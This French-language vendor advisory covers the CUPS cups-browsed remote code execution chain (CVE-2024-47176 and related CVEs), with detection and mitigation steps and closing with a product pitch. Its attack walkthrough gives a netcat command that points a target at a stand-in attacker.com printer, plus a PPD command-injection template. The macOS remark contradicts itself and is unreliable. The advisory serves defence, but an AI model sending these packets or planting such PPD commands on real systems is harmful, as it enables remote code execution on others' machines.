剣 KENSAI
Critique CVE-2024-47176 Octobre 2024 · 9 min de lecture

CVE-2024-47176 : RCE dans CUPS sous Linux — 300 000 systèmes exposés à Internet

Une chaîne de quatre vulnérabilités CUPS (CVE-2024-47176, CVE-2024-47076, CVE-2024-47175, CVE-2024-47177) permet l'exécution de code à distance sans authentification sur les systèmes Linux exécutant cups-browsed. Plus de 300 000 systèmes étaient exposés à Internet lors de la divulgation. Affecte par défaut Ubuntu, Debian, Red Hat, Fedora et la plupart des distributions Linux.


9.9
CRITIQUE
AttributValeur
CVE principalCVE-2024-47176
CVE associésCVE-2024-47076, -47175, -47177
Vecteur CVSSAV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
CWECWE-20 : Validation incorrecte des entrées
Publié le26 septembre 2024
ExploitationPoC publique — scans opportunistes observés

Qu'est-ce que CVE-2024-47176 ?

CUPS (Common Unix Printing System) est l'infrastructure d'impression par défaut sur Linux et macOS. Le démon cups-browsed écoute sur le port UDP 631 les annonces d'imprimantes sur le réseau. CVE-2024-47176 est le point d'entrée d'une chaîne de quatre vulnérabilités : cups-browsed accepte les paquets UDP de n'importe quelle source, y compris Internet, sans authentification.

En envoyant un paquet UDP forgé sur le port 631, un attaquant peut amener le système de la victime à se reconnecter à une « imprimante » contrôlée par l'attaquant. L'imprimante malveillante fournit un fichier PPD (PostScript Printer Description) forgé contenant des commandes intégrées. Lorsque la victime imprime n'importe quoi, ces commandes s'exécutent sur son système.

La chaîne d'attaque complète

CVEComposantDescription
CVE-2024-47176cups-browsedSe lie à UDP 0.0.0.0:631, accepte les paquets de n'importe quelle IP
CVE-2024-47076libcupsfiltersLes valeurs d'attributs IPP ne sont pas nettoyées lors de la création des fichiers PPD
CVE-2024-47175libppdLa génération de fichiers PPD ne nettoie pas les attributs IPP
CVE-2024-47177cups-filtersFoomaticRIPCommandLine permet l'exécution arbitraire de commandes

Déroulement de l'attaque


# Étape 1 : l'attaquant envoie un paquet UDP à target:631
echo "0 3 http://attacker.com:8631/printers/evil" | nc -u -w1 target.com 631

# Étape 2 : cups-browsed récupère les attributs IPP depuis le serveur de l'attaquant
# Le serveur de l'attaquant renvoie des attributs d'imprimante malveillants

# Étape 3 : libcupsfilters/libppd crée un PPD avec les données non nettoyées de l'attaquant
# Le PPD contient : *cupsFilter: "application/vnd.cups-pdf 0 [attacker-cmd]"

# Étape 4 : la prochaine fois qu'un utilisateur imprime (ou que l'administrateur lance une impression test) :
# FoomaticRIP exécute la commande contenue dans le PPD
# La commande s'exécute avec l'utilisateur lp (qui a souvent un accès important au système de fichiers)

⚠ Aucune interaction utilisateur après la configuration

L'attaquant n'a besoin d'envoyer qu'un seul paquet UDP pour établir l'imprimante malveillante. L'exploitation se déclenche ensuite dès qu'un utilisateur du système tente d'imprimer — y compris pour des tâches d'impression routinières pouvant survenir des heures ou des jours plus tard. Sur les serveurs, un attaquant pourrait aussi déclencher l'exploitation à distance en envoyant une tâche d'impression à l'imprimante malveillante nouvellement installée.

Ampleur de l'impact

Au moment de la divulgation, les scans Shodan et Censys ont identifié environ 300 000 systèmes exposés à Internet avec le port UDP 631 ouvert. La vulnérabilité affecte pratiquement toutes les principales distributions Linux qui embarquent cups-browsed :

macOS n'est pas concerné car il utilise sa propre pile d'impression. Cependant, macOS utilise aussi CUPS en interne, donc certaines configurations peuvent être affectées par des problèmes connexes.

Détection


# Vérifier si cups-browsed est en cours d'exécution
systemctl status cups-browsed
ps aux | grep cups-browsed

# Vérifier si UDP 631 est exposé
ss -ulnp | grep 631
netstat -ulnp | grep 631

# Vérifier l'ajout d'imprimantes inattendues
lpstat -a
cat /etc/cups/printers.conf | grep -i "deviceuri\|remote"

# Rechercher des fichiers PPD suspects
find /etc/cups /var/cache/cups -name "*.ppd" -newer /etc/cups/cups-browsed.conf

# Vérifier les journaux pour des connexions IPP inattendues
grep "cups-browsed" /var/log/cups/error_log | grep "Adding\|New printer"

Atténuation

  1. Arrêter et désactiver cups-browsed si inutile :
    sudo systemctl stop cups-browsed
    sudo systemctl disable cups-browsed
  2. Appliquer les correctifs : cups-browsed 2.0.1 et cups-filters 2.0.1 corrigent les vulnérabilités. Ubuntu, Debian et Red Hat ont publié des correctifs quelques jours après la divulgation.
  3. Bloquer le port UDP 631 au pare-feu : empêche les paquets externes d'atteindre cups-browsed
    sudo iptables -A INPUT -p udp --dport 631 -j DROP
    sudo ufw deny 631/udp
  4. Supprimer FoomaticRIP si inutile : la dernière étape de la RCE nécessite foomatic-rip. Le supprimer (si les imprimantes Foomatic ne sont pas utilisées) élimine la capacité d'exécution de code.
  5. Auditer les configurations d'imprimantes : supprimez toute entrée d'imprimante non reconnue de /etc/cups/printers.conf

💡 La plupart des serveurs ne sont pas vulnérables : les installations serveur de Linux n'installent généralement pas cups-browsed par défaut. Le risque est plus élevé sur les postes de travail et machines de développement Linux. Néanmoins, tout système Linux configuré pour l'impression doit être audité.

Capacité de détection KENSAI

Combien de systèmes Linux de votre environnement ont cups-browsed exposé ?

KENSAI analyse votre surface d'attaque interne et externe à la recherche de vulnérabilités CUPS sur tous vos systèmes Linux. Obtenez une vue complète en quelques minutes.

Détecter l'exposition CUPS →

Articles connexes

CISA raccourcit les délais de correction, la Maison-Blanche réécrit sa stratégie cyber La divergence entre les stratégies cybernétiques des États-Unis et de l'Union européenne s'accentue Redirection...